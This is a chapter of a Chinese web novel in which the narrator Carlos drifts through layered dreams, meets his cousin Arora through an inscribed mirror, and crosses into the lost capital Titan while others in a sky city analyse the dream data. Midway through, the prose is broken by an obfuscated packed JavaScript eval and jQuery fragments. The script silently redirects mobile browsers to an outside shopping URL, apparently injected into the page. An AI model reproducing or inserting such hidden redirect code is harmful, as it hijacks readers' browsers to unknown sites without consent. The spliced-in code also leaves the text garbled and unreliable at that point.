一盒名为“我”的记忆始终沉睡在无人问津的回廊里。

    终有一日,通往回廊的门板再度开启,而“我”也再次被知晓。

    “我”看不见来者,却能看到镜中的自己。直至凝视镜中自我许久,此我方知,我即是“我”。

    手机的起床铃声正在努力让我醒来。

    当我闭眼再睁眼,我居然真的在一张床上醒来了。

    手机通知栏的右上角是我那个“小卡洛斯”的用户名。

    此前的那种感觉仿佛是一场长梦中,而我却早已不记得入梦前发生的事情。

    我从床上起来,拿起床头的手机,习惯性地关掉起床铃声。

    随着我解锁手机屏幕,一则备忘录的提示很快占据了整个屏幕。

    “出发。去往天空城。”

    这则消息标有最高的优先级。

    我把手机放回床头,起身走到卧室窗前,然后伸手拉开了窗帘,打开了窗户。

    重新修缮过的花园里有一块平整的草坪。

    草坪上目前是空空如也,既没有人,也没有人走过的痕迹,只有昨夜的露水可能还挂在那一两颗小草之间。

    这时,有人一连敲了好几下我的房门。

    敲门声过后,一个声音在外面问道:“卡洛斯,你起来了吗?你父亲在楼下等你,他让我过来问问你。”

    我想起来了,家里同时住着人与机器人。

    仅凭声音,我无法确认门后的人到底是人,还是机器人。

    于是,我自然而然地问:“谁在敲门啊?”

    “你又睡糊涂了啊。”门外的声音对我说道。

    “是我呀,住在你家的布鲁克·里弗斯。你今天要去天空城了,我是来和你道别的。”

    “天地间时间流速不对等,一想到你这一走,我就再也见不到你了,我昨天晚上都没怎么睡好……”

    讲到这里,他语气一转,布鲁克,他要责备我。

    “结果你倒好,一觉睡到现在。你父亲给你做的早饭都凉了。能让克拉克将军等这么久,全天下估计就你做得到了。”

    在布鲁克说话的同时,我迷迷糊糊地走到门口,转动门把手,拉开原先上锁的房门。

    “好啦,我起来了啊。”我对和我差不多高的布鲁克说,“我昨晚好像做了一个很长很长的梦。你先让我醒一醒,我一会儿就下来。”

    微风从卧室窗外吹进来。

    我的双腿之间突然感受到了一丝凉意。我的后背也同时感受到了这股风的来意。

    说完,我回头往卧室内的衣帽间走去。

    布鲁克帮我关上了门。他在关门后说道:“卡洛斯,虽然这是在你家,你想怎么穿都无所谓,但是楼下毕竟还是有其他安保人员的,你最好不要只穿一条裤衩就下楼。”

    “我知道了。”我如此回应道,“你看我像是那种人吗?”

    卧室的门板后面,布鲁克似乎是在笑我。

    笑完以后,他说:“难说哦……卡洛斯,你不是向来想干嘛干嘛的吗?”

    几秒后,我才在衣帽间的镜子里看到了没穿上衣的自己。

    我总算是明白了,布鲁克刚才为什么要那样说我。

    我打开衣柜,在里面翻找要穿的衣服。

    我终于想起来,我好像在昨晚就把所有想要穿到天空的衣服都打包放进了行李箱。

    因此,我随手从衣柜里找了一套带兜帽的常服,穿上之后便走下楼梯,来到楼下用餐的大厅。

    大厅里的景象却并非我所记得的日常。

    这里没有往日里那些忙前忙后的服务型机器人,也没有喊我下楼的布鲁克和理应在这里等我的父亲。

    宽敞的大厅里空旷得就像我此前见到过的那块草坪。

    我回头。

    片刻,那扇需要手动开启的大门自动关闭。

    我尝试过推门和拉门,但没有一种方式可以打开这扇没有门锁的大门。

    明明外面应该还是白天,大厅内却忽然陷入黑暗。

    大理石的地砖上,一个箭头还在发出微弱的光芒,而我根本看不到这个疑似投影的箭头究竟来自何方。

    当我仰望头顶,本是穹顶的上方如今已是一整片暗淡无光的夜空。

    我站在原地,没有顺着地上的箭头往前走,但我身后的大门依然在不停地离我远去。

    地上的箭头反复地闪烁,直至一面落地镜出现在我的眼前。镜子的边框上镶满了黄金与各色宝石。

    箭头消失不见,而我也在镜子边框的珠宝之间发现了四个工整的古代文字。

    「古镜天明」

    我十分确定,我看到的镜子不是古镜,而是一面崭新的落地镜,因为这是最近才流行的款式;同时,我也知道,尽管自家的仓库里堆满了各种价值连城的藏品,但这面镜子绝非其中之一。

    我本想走到镜子前,一探究竟。

    但,那面镜子,他已向我而来。

    镜子的边框像门框般从我身旁略过。

    我不再看得见那个父亲宴请天下贵宾的大厅。

    碎片化的记忆如暴雨般注入我的脑海。

    我记得,我本该和布鲁克一起去天空,但布鲁克拒绝了天空城的邀请。

    他说,他想留在地面,他的兄长和父辈都死在了抵挡灾兽的战场,他也没有理由一个人独自前往举目无亲的天空。

    我告诉他,我不是那种会抛下朋友的人,你不走,那我也不走。

    布鲁克先是推了我一把,而后又告诉我,让我放心地去。

    他跟我讲,我的母亲还在天空,他的母亲早已离他而去,我若是不珍惜眼前的人,那我才是无可救药的蠢货。

    “我们里弗斯家族和克拉克家族世代同盟,”布鲁克·里弗斯当时和我说,“卡洛斯,请你在天空之上,亲眼见证我为你平定灾变的未来。”

    我还记得,布鲁克说话时的那种意气风发。

    我当然也记得,他在临终前的那份心有不甘。

    哪怕是奋斗终生,我认识的布鲁克·里弗斯也没能平定地面上的灾变。

    天之上,十年如一日的歌舞升平,新一日的黎明与昨日没有什么不同。

    天之下,灾兽依旧在,我在多少个日月里,亲眼见证了地面上的朋友一个接一个地离开人世。

    我曾无数次问自己,当初的选择是否应该如此。

    我看着天空中那些我爱的人与爱我的人。

    不一样的抉择其实也是对他们的一种伤害。

    每每想到这里,我总是辗转反侧,有种彻夜难眠的感觉,可是在睡意的驱使下,我又不得不一觉睡到下一个天明。

    又一次,我从刚才的梦境中醒来。

    我同样面对着镜子,镜子里的人依旧是我。

    我在镜中的倒影还是“小卡洛斯”的面孔。

    我站在原地,仔细端详着镜中这个自己,即便是经过左思右想,我依然想不起来如今的自己究竟是在扮演哪一个时刻的“我”。

    镜子无声地放在那里。镜子边框上的字样仍然和之前一样清晰。

    也正是在此刻,我看到了连接在我手上的细线。

    那条线穿过我眼前的落地镜,紧紧缠绕在镜中倒影的手腕内侧。

    镜中人与我同时抬手,连接我们的细线宛若光线,轻轻漂过那片没有涟漪的水面。

    我向后拉起细线。

    镜子里的人居然直接被我拽出镜面。

    那一刻,她不再是我留在的镜中倒影,而是变成了一个我无法忘记的幻影。

    我看着她,似乎一点也不意外地说道:“阿罗拉,我找到你了。”

    此刻的”我“好像只是一个视角,并不能像之前一样,真正体会到自己在那些时刻里的所思所想。

    二十多岁的阿罗拉站在那里。面对我,她撩起一侧的长发,露出耳廓,像是为了更好地听见我的声音。

    “小卡洛斯,我该说我们又见面了呢?还是说好久不见了呢?”阿罗拉如此对我说道。

    我抓住那条飘在空中的细线,说:“都行。你可能刚在镜中见过即将离开天空的我,而现在的我,早已在地面上经历了二十多年的变化。”

    “我认识了很多人,遇到过很多事情,”我和阿罗拉说道,“二十几年很长,长到我能看着朋友的孩子长大成人;二十几年也可以很短,因为天空城那边也就是过了二十几天罢了,克洛伊似乎并不觉得我已经离开了很久。”

    我走到镜子前,对镜子旁边的阿罗拉说:“如你之前所说,我确实找到了我的父亲,但你没有告诉我,他已经变成了一只会说话的橘猫。”

    我凝视着镜面。

    其中映出的,依旧是我出发前的那副模样。

    同样是二十多岁的我,无论是运动能力还是脸上的皮肤,一切几乎就像是定格在了我离开天空的那个时刻。

    我转身看向阿罗拉,她的模样似乎也还是她最后给我留下的那个印象。

    如今的状况,是二十多岁的她遇到了二十多岁的我。

    这件本不可能发生的事,它却真实地发生在地面时间的千年之后。

    我不认为这仅仅是某种巧合。

    “这些年来,我在地面上新认识的朋友都不再年轻,可我和你,始终是现在这副模样,没有任何的改变。”我直面阿罗拉说道,“姐,你知道这是什么原因吗?”

    只见阿罗拉对我说:“小卡洛斯呀,你是明知故问呢。”

    “你见过维克托和安东尼奥了,对吧?”阿罗拉同样明知故问。

    “还记得吗?他们也都是之前那样,没有发生变化……”

    “你的心里早有推论,”阿罗拉说,“我的重新出现,这不过是让你亲眼确认了这些而已。”

    见我迟迟不作回应,阿罗拉索性挑明道:“唯有无限接近那里,才能如你我这般无限存续至永恒。”

    阿罗拉仍然像旧时代的那位公主一样,念念有词地告诉我:“那里是不灭的王都,王座巡礼的终点,以及一纸律令便足以改变天下的神都泰坦。”

    我没有说话,静静地注视着眼前的阿罗拉。

    她仿佛还是我在王都里认识的那个阿罗拉表姐。

    “我明明记得,自己离开了旧都,在新泰坦城里住过一段时间,然后前往了天空,最后才在经历了一系列的事件之后找到了现在的你。”我不解地说,“可是,我要寻找的神都泰坦,它到底在哪里?”

    “旧都不是早在一场大火中烧成废墟了吗?”我追问道,“阿罗拉,你说你看到过我的未来,那你又是否看到过,我认为神都泰坦早已不复存在的这个未来?”

    “与其说是未来,不如说是现在更加贴切。”阿罗拉轻描淡写地说道。

    “小卡,把手放在镜子上面。”阿罗拉接着对我说。

    我根本不知道阿罗拉想要我做什么。

    但我还是照做了。因为我不认为她是那种不怀好意的人。

    我来到镜子前,把手放在一尘不染的镜面上,随后下意识地轻轻往前一推。

    一道缝隙瞬间劈开镜面,没有发出一点声响,就好像不出声的风墙隔开了一大块的水面。

    镜面像门板一样朝两侧打开。

    门后,五月王朝的花海从记忆扑向现实。

    车水马龙的地段高楼林立,首位天下人的家族旗帜飘扬在人来人往的街头。

    故人来去匆匆,各有各的起点,也会抵达不同的终点。

    我甚至能从中看到我曾居住过的那条街道。</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17630698|204725||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    现在,我知道了——过了门,那里就是曾经的神都泰坦,一个总能把不可能变成可能的地方。

    “阿罗拉表姐,你愿意和我一起回去吗?”我回头问。

    那个已是幻影的阿罗拉,她果断地拒绝了我。

    “不,通过你的未来,我已看到过那些你即将看到的过去。”阿罗拉坦然说道,“我也是因此才相信,你一定会替我抵达曾经的神都泰坦。”

    她拍拍我的肩膀,说:“关于你想要了解的一切过往。他们就在那里。我早就明白,王座巡礼的胜者只有你一人。也只有你,才能去亲眼见证那些东西的存在。”

    阿罗拉反方向离去。

    她对我说:“所以,我要在这里,用我的方式,把我们的记忆传达给那些为你而来的人们。”

    和我相隔一段距离的地方,阿罗拉和我说:“小卡洛斯,哪怕你此去无回,我也要为你留下你依然存在的事实。”

    我似懂非懂地观察起阿罗拉脸上的神情,可她的脸,在回头那时,已然变成了一块看不清的黑影。

    但是,她的声音依然清晰。

    她自作主张地说:“那些后来者,他们将以‘你’的视角,去经历你的过往,见证你所看见的一切,并且在未来的某一个时刻,知晓你我在今天的这番相遇。“

    我不明白阿罗拉此举有何意义。

    比起理解她,我更关心另一个问题。

    我捏住手上那条细线,对细线的另一头问道:“那你呢?之后又要一个人去哪里?”

    细线的那一端,阿罗拉倒是没有因为即将到来的分别而产生一点的情绪波动。

    当然,也可能是我看不出来。

    阿罗拉向我挥手,心平气和地告诉我:“小卡,这就不用你管啦。你表姐想去哪里去哪里。和从前一样,细线会帮你找到我。”

    “你总会带我回到那些我回不去的地方。”已是黑影的阿罗拉如此和我说道。

    我想,我明白了她的意思。

    我由此转身,跨过通往神都泰坦的那扇门。

    这时起,我再也看不到门背后的阿罗拉。

    可不知为何,阿罗拉的声音还在继续。

    “至于剩下的人……你们的梦境,也该暂时醒一醒喽。”

    她的话语再次唤醒了那些前来调查“我”行踪的众人。

    即便如此,还是有人难以分辨梦境与现实。

    有人举起自己的机械手臂,恍惚地说:“我从一场梦中醒来,却没有意识到自己还在另一场梦里。”

    “诺拉、克洛伊、你们……”

    “随便是谁……”

    “请你如实告诉我,我现在到底在哪里?我又究竟是谁?”

    “这里到底是你我所在的现实?还是说,我只是……又一次在谁的梦中苏醒,然后继续扮演着下一个名为‘我’的角色?”

    枯萎的树林外,先行醒来的诺拉给卢卡斯重新插上电源。

    开机后的卢卡斯还在不停地思考。

    当卢卡斯沉浸在幻觉里,分不清自己是谁的时候,诺拉抄起母亲给她留在后备箱里的扳手,一扳手捶在卢卡斯的脑门上面,把卢卡斯从梦里带回现实。

    疯狂运算的芯片在收到外力的突然冲击后重新启动。

    卢卡斯终于发现,那些名为“我”的感受正是自己在幻像中捕获到的数据。

    一门,一梦。

    只有不是梦中人才能回到不是梦的现实。

    现实里的天下从此不再有名为“我”的梦中人。

    幻像中,不同的人体验了同一场梦境。梦境里的他们或多或少都有一段成为小卡洛斯的经历。

    梦的终点坍最终缩成数据。

    这些数据仿佛从开始就滞留于现实之外,因为数据背后的时间戳全部停了在千年前的某个日期。

    天空中的克洛伊快速筛查了这些由卢卡斯和诺拉共同提供的数据,并由此得出了一个新的结论。

    克洛伊再次联系到刚敲醒卢卡斯的诺拉,总结道:“你们经历的梦境不是没有根据的幻觉。因为,那里面确实有小卡洛斯和我讲过的事情。”

    “至于后面那些,我搜索过天空数据库里的相关记录。”克洛伊说,“按照这里的记载,历史上的那一日,曾经的神都泰坦的确毁于一片大火。”

    “再结合那些像是属于卡洛斯本人的回忆,这或许才是那个黑影想让我们看到的过往。”

    克洛伊翻开解码后的数据备注,一行一行地读了出来。

    “为你们开门的黑影从前也是泰坦帝国的人……”

    “她正是……”

    “卡洛斯的表姐、王族曾经的继承者……”

    “以及,那位倒在神都泰坦前的阿罗拉公主。”

    黑影在倒下前曾完整地写写下了自己见到众人后的心路历程。

    可时过境迁,门板上的数据已然变成太多的碎片,千年后的克洛伊只能勉强拼凑出这看上去最为完整的结尾部分。

    直到这时候,地面上的各种报告才正式抵达天空城的通讯系统。

    克洛伊一边阅读着地面发来的最新报告,一边对诺拉说道:“经历过相似梦境的人远不止你们这一组人。大家好像是在不同时间进入的梦境,又在同一时刻回到了位于此刻的现实。”

    包括诺拉和卢卡斯在内,那些消失的人员正在一个又一个地出现,他们记录下来的经历也大体相似,都是在某个时刻误入了疑似“小卡洛斯”的记忆,而那些记忆也都无一例外地被包装成了一出名为“我”的梦境。

    目前,仍有一人尚未归来。

    克洛伊来回翻阅人员名单上的编号。她还是找不到小卡洛斯的编号。

    “小卡洛斯,大家都在这里,你又在哪里?”